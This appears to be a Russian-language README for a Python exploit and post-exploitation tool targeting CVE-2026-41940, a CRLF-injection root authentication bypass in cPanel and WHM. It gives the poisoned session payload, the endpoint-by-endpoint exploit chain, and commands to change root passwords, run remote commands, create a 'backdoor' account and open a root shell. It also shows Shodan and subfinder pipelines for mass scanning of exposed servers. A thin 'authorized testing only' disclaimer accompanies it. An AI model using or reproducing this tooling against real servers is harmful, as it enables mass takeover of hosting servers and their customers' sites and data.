
Автоматизированный сканер и инструментарий для пост-эксплуатации для CVE-2026-41940 — обход аутентификации root через cPanel и WHM с помощью CRLF-инъекции в session-файл
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Автоматизированный сканер и набор инструментов для пост-эксплуатации уязвимости CVE-2026-41940 — обход аутентификации root в cPanel и WHM через CRLF-инъекцию в файле сессии.
CPANEL CVE EXPLOIT — это однофайловый инструмент на Python, предназначенный для авторизованных тестов безопасности серверов cPanel и WHM, уязвимых для CVE-2026-41940.
Уязвимость позволяет неаутентифицированному удалённому злоумышленнику отравить файлы сессий WHM через CRLF-инъекцию в заголовке Authorization: Basic, обходя аутентификацию и получая доступ к WHM с правами root без действительных учётных данных.
В уязвимых версиях cPanel и WHM функция saveSession() в Session.pm вызывает filter_sessiondata() после записи файла сессии на диск. Злоумышленник может внедрить символы CRLF (\r\n) через HTTP-заголовок Authorization: Basic, которые записываются непосредственно в файл сессии на диске — минуя санитизацию.
Инструмент использует полезную нагрузку в кодировке Base64, которая декодируется в:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Эти поля имитируют полностью аутентифицированную сессию root в WHM, включая обход 2FA (tfa_verified=1) и флаг привилегий root (hasroot=1).
Компания cPanel переместила вызов filter_sessiondata() так, чтобы он выполнялся до операции записи сессии в Session.pm.
Цепочка эксплуатации состоит из 5 этапов (этапы 0–4):
flowchart TD
A[Этап 0: Обнаружение канонического хоста] --> B[Этап 1: Получение предварительной сессии]
B --> C[Этап 2: CRLF-инъекция через заголовок Authorization]
C --> D[Этап 3: Распространение сессии через do_token_denied]
D --> E[Этап 4: Подтверждение доступа root через json-api/version]
E --> F{Уязвим?}
F -->|Да| G[Пост-эксплуатационные действия / Интерактивная оболочка]
F -->|Нет| H[Пропустить цель]
A -.- A1["GET /openid_connect/cpanelid → редирект 307 раскрывает реальное имя хоста"]
B -.- B1["POST /login/?login_only=1 → кука whostmgrsession"]
C -.- C1["GET / + отравленный Basic auth → токен /cpsessXXXXXXXXXX"]
D -.- D1["GET /scripts2/listaccts → сброс сырой сессии в кеш"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + версия в JSON"]Примечание: Цели, работающие на исправленных сборках, автоматически отмечаются и пропускаются при сканировании.
| Пакет | Назначение |
|---|---|
selenium | Автоматический вход в браузер (--selenium) |
| Chrome / Firefox | Движок браузера для Selenium |
pip install -r requirements.txt # опционально — только selenium
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
Этап сборки не требуется. Запускайте напрямую:
python3 test-cve.py --help
# Сканирование одной цели WHM
python3 test-cve.py -u https://target.com:2087
# Сканирование с пост-эксплуатацией: список всех аккаунтов cPanel
python3 test-cve.py -u https://target.com:2087 --action list
# Массовое сканирование из файла, 20 потоков, сохранение JSON-отчёта
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| Флаг | Описание |
|---|---|
-u, |
| Флаг | Описание |
|---|---|
-o, --output | Сохранить результаты в JSON-файл |
--no-color | Отключить ANSI-цвета в выводе |
Флаги пост-эксплуатации работают только с одной целью (
-u, не с массовым сканированием).
# Смена пароля root после обхода
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# Выполнение удалённой команды
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# Создание backdoor-аккаунта cPanel
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# Открыть интерактивную оболочку WHM
python3 test-cve.py -u https://target.com:2087 --action shell
# Автоматический вход через Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# Ручной вход в браузере (выводит JS для консоли DevTools)
python3 test-cve.py -u https://target.com:2087 --browser
Запускается с --action shell для полноценной интерактивной сессии:
[email protected] ▶ help
id / whoami / hostname / version → информация о сервере
ls [путь] → список файлов
cat [путь] → чтение содержимого файла
accounts → список аккаунтов cPanel
addadmin <пользователь> <пароль> → создать администратора/реселлера WHM
passwd <новый пароль> → смена пароля root
exec <команда> → выполнение команды ОС
exit / quit → выход из оболочки
Пример:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# Конвейер subfinder + httpx
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Конвейер Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| Формат | Пример |
|---|---|
| Полный URL | https://192.168.1.1:2087 |
| IP + порт | 192.168.1.1 2087 |
| Вывод Shodan | Автоматически разбирается через regex |
| ANSI-цветной вывод | Автоматически очищается |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
Результаты сохраняются в JSON при использовании -o results.json:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — Сканирование CVE-2026-41940 завершено
Время: 12.4с · Целей: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 УЯЗВИМЫХ ЦЕЛИ(ЕЙ)
Цель : https://victim1.com:2087
Версия : 11.126.0.50
Токен : /cpsess1234567890
URL API : https://victim1.com:2087/cpsess1234567890/json-api/version
Док-во : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Конфигурация:
Целей : 1
Потоков : 10
Тайм-аут : 15с
Действие : только сканирование
12:00:01 [INFO] Обнаружено каноническое имя хоста: server.target.com
12:00:02 [ OK] Этап1: предварительная сессия = root:abc123...
12:00:03 [ OK] Этап2: HTTP 307 → токен=/cpsess1234567890
12:00:04 [ OK] Этап3: HTTP 401 — механизм do_token_denied сработал
12:00:05 [INFO] Этап4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — доступ к WHM с правами root! (v11.126.0.50 — ПОДТВЕРЖДЕНА уязвимость)
12:00:05 [PWND] Токен : /cpsess1234567890
12:00:05 [PWND] Сессия : root:abc123...
12:00:05 [PWND] Версия : 11.126.0.50
12:00:05 [PWND] URL API : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # Основной сканер и инструмент эксплуатации (один файл)
├── requirements.txt # Опционально: selenium
├── README.md # Документация на английском
└── README.fa.md # Документация на персидском (فارسی)
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
Этот инструмент предоставляется только для образовательных и авторизованных целей пентеста.
Используя этот инструмент, вы соглашаетесь использовать его ответственно и в соответствии со всеми применимыми законами.
2087 (HTTPS)Создано для исследователей безопасности · Используйте ответственно
| Свойство | Значение |
|---|
| CVE | CVE-2026-41940 |
| Серьёзность | Критическая |
| CVSS | 10.0 |
| Вектор атаки | Сеть / без аутентификации |
| Влияние | Полный доступ к WHM с правами root |
| Порт по умолчанию | 2087 (WHM) |
| Статус | Подтверждена эксплуатация в реальных условиях (апрель 2026) |
| Этап | Конечная точка | Назначение |
|---|
| 0 | /openid_connect/cpanelid | Автоматическое обнаружение канонического имени хоста через редирект 307 |
| 1 | /login/?login_only=1 | Получение предварительной куки whostmgrsession с неверными учётными данными |
| 2 | / | Инъекция заголовка Authorization: Basic, отравленного CRLF, в файл сессии |
| 3 | /scripts2/listaccts | Запуск механизма do_token_denied для сброса сессии в кеш |
| 4 | /{token}/json-api/version | Подтверждение доступа root — HTTP 200 с версией в JSON |
| Возможность | Описание |
|---|
| Сканирование одной цели | Полная цепочка эксплуатации по одному URL WHM |
| Массовое сканирование | Многопоточное сканирование из файла или stdin |
| Определение версии | Автоматическое сравнение исправленных и уязвимых версий |
| Пост-эксплуатационное API | Смена пароля, выполнение команд, список аккаунтов, создание пользователей |
| Интерактивная оболочка | Встроенная оболочка WHM с правами root с чтением файлов и командами API |
| Вход через Selenium | Автоматическое внедрение куки сессии в Chrome/Firefox |
| Ручной вход в браузере | JavaScript-фрагменты для консоли для ручного входа в WHM |
| Проверка RCE | Быстрая верификация id / uname -a после обхода |
| Экспорт в JSON | Сохранение всех результатов в структурированный JSON-отчёт |
| Готовность к конвейерам | Работа с httpx, subfinder, shodan и конвейерами awk |
| Только стандартная библиотека | Для базовой функциональности не требуется pip-зависимостей |
| Цветной вывод | Логирование этапов в реальном времени с индикаторами серьёзности |
| Ветка | Исправлено в | Статус |
|---|
| 11.110.x | 11.110.0.97 | Уязвимо ниже исправления |
| 11.118.x | 11.118.0.63 | Уязвимо ниже исправления |
| 11.126.x | 11.126.0.54 | Уязвимо ниже исправления |
| 11.132.x | 11.132.0.29 | Уязвимо ниже исправления |
| 11.134.x | 11.134.0.20 | Уязвимо ниже исправления |
| 11.136.x | 11.136.0.5 | Уязвимо ниже исправления |
--urlURL одной цели (например, https://host:2087) |
-l, --list | Файл, содержащий URL (по одному на строку) |
--hostname | Переопределить канонический заголовок Host (по умолчанию определяется автоматически) |
| Флаг | По умолчанию | Описание |
|---|
-t, --threads | 10 | Количество потоков сканирования |
--timeout | 15 | Тайм-аут HTTP в секундах |
--rate-limit | 0 | Задержка (в секундах) между отправками целей |
| Действие | Флаг | Описание |
|---|
| Только сканирование | (по умолчанию) | Запустить цепочку эксплуатации и сообщить об уязвимости |
| Список аккаунтов | --action list | Список всех аккаунтов cPanel через WHM API |
| Смена пароля | --action passwd --passwd <пароль> | Сменить пароль root в WHM |
| Выполнение команды | --action cmd --cmd "id;whoami" | Выполнить команду ОС через WHM exec API |
| Информация о сервере | --action info | Получить имя хоста, нагрузку, диск, версию |
| Получить версию | --action version | Получить версию cPanel/WHM через API |
| Создать аккаунт | --action adduser --new-user u --new-domain d.com --passwd p | Создать новый аккаунт cPanel |
| Интерактивная оболочка | --action shell | Запустить интерактивную оболочку WHM с правами root |
| Проверка RCE | --check-rce | Выполнить id;uname -a после успешного обхода |
| Вход через Selenium | --selenium [--engine chrome|firefox] | Автоматический вход в панель WHM в браузере |
| Ручной вход в браузере | --browser | Вывести команды для консоли JavaScript для ручного входа |